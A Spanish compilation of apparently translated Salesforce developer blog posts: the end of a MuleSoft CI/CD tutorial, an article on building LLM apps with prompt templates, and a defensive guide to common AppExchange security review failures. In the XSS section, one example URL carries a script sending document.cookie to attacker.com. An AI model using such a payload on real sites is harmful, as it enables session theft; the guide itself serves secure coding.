<dx-code-block title language="xml" code-block=" org.mule.tools.maven mule-maven-plugin ${mule.maven.plugin.version} true https://anypoint.mulesoft.com 4.4.0 mulesoft-mfa-cicd Sandbox MICRO us-east-2 1 true ${client.id} ${client.secret} client_credentials
«>
Vuelva a verificar estas configuraciones en caso de que necesite actualizarlas para que coincidan con su caso de uso. Por ejemplo, muleVersion , applicationName , environment o region . Usaremos los campos connectedAppClientId y connectedAppClientSecret para pasar las variables Java que declaramos anteriormente en la configuración de Maven.
Es importante que no codifique las credenciales de la aplicación conectada en este archivo por razones de seguridad. Es por eso que mantenemos los valores como secretos de GitHub. Recuerda que puedes acceder a nuestro repositorio de ejemplo si necesitas comparar tu código con el nuestro.
Una vez que todas sus configuraciones estén listas, confirme y envíe sus cambios al repositorio remoto. Esto activará la canalización en GitHub. Puede ver el proceso haciendo clic en la pestaña Acciones de su repositorio de GitHub.
Una vez completado el proceso, su aplicación Mule se implementará en Runtime Manager. Tenga en cuenta que el archivo JAR contendrá el hash de confirmación en su nombre.
Habilitar canalizaciones de CI/CD es importante para automatizar tareas repetitivas. En lugar de implementar manualmente una aplicación Mule cada vez que hay un cambio en el código, podemos crear canalizaciones para que realicen estas tareas por nosotros. Este fue un ejemplo simple que utiliza solo una sucursal y un entorno, pero puede conectar otras sucursales a otros entornos en Anypoint Platform. Por ejemplo, dev , qa , prod , etc.
En esta publicación, aprendimos cómo implementar automáticamente una aplicación Mule en CloudHub cuando usamos la autenticación multifactor en nuestra cuenta de Anypoint Platform porque la mayoría de las cuentas empresariales tienen esta configuración habilitada. Sin embargo, cuando solo usa una cuenta de prueba gratuita, no necesita crear una aplicación conectada si no usa MFA en su cuenta. Puede utilizar su nombre de usuario y contraseña de Anypoint Platform para iniciar sesión.
Hay muchas cosas que puede automatizar al utilizar canalizaciones de CI/CD para sus aplicaciones Mule. Puedes ejecutar pruebas automatizadas antes de implementar tu aplicación Mule, por ejemplo. ¿Se te ocurren otras tareas repetitivas que puedas automatizar en tus canalizaciones?
Nota: Las versiones iniciales de la canalización se basan en el siguiente repositorio creado por Archana Patel: arch-jn/github-actions-mule-cicd-demo .
Alex Martínez formó parte de la comunidad de MuleSoft antes de unirse a MuleSoft como desarrollador defensor. Fundó ProstDev para ayudar a otros profesionales a aprender más sobre la creación de contenido. En su tiempo libre, encontrarás a Alex jugando juegos de Nintendo o Playstation y escribiendo reseñas sobre ellos. Siga a Alex en LinkedIn o en la comunidad Trailblazer .
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El enlace a la publicación original, lo encontrarás al final de este artículo.
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La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.
Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:
Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:
Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.
Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.
En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.
Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.
Por ejemplo, así es como se vería la llamada API usando la API OpenAI:
Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.
Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:
Escriba un correo electrónico de presentación para el director ejecutivo de Acme.
El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.
Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:
Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542
Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:
Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:
Así es como podrían verse estos pasos de construcción rápidos en Apex:
El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.
Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.
Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:
Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}
{{/oportunidades}}
Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.
Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.
Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?
Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:
Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.
Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.
Así es como funciona:
Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?
La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:
Para construir el mensaje:
Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.
El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.
El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.
En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.
El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.
La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.
El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.
Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.
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El enlace a la publicación original, lo encontrarás al final de este artículo.
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Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.
Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.
Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.
Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.
El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.
Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.
El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .
Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .
Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.
Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.
Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.
Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.
Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.
Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .
Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:
Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:
Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .
Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.
Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.
Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.
Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.
Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .
Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.
En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.
Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.
Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.
Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.
En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.
En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.
Para páginas de Visualforce:
Para componentes Lightning:
init (para Aura) ,connectedCallback , renderedCallback o constructor .Al realizar llamadas API:
CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.
Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.
Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.
En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.
Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).
Los motivos por los que su aplicación podría ser susceptible incluyen:
innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:
eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.
Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.
Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).
Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.
Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.
Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.
Obtenga más información sobre este problema en nuestra documentación para desarrolladores .
La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.
La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .
Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.
Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.
Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.
Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.
Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.
Puede encontrar más información en nuestra documentación para desarrolladores .
Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.
En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).
Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.
Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.
Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).
En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.
Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc
La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.
También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .
Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.
Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.
Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.
Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.
Tiene dos opciones, según su caso de uso, que incluyen:
isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.Más información está disponible en la documentación .
Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:
Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.
La guía OWASP es un gran recurso a seguir.
El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.
Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .
Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.
Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.
Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.
Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.
Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.
OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.
En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:
Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:
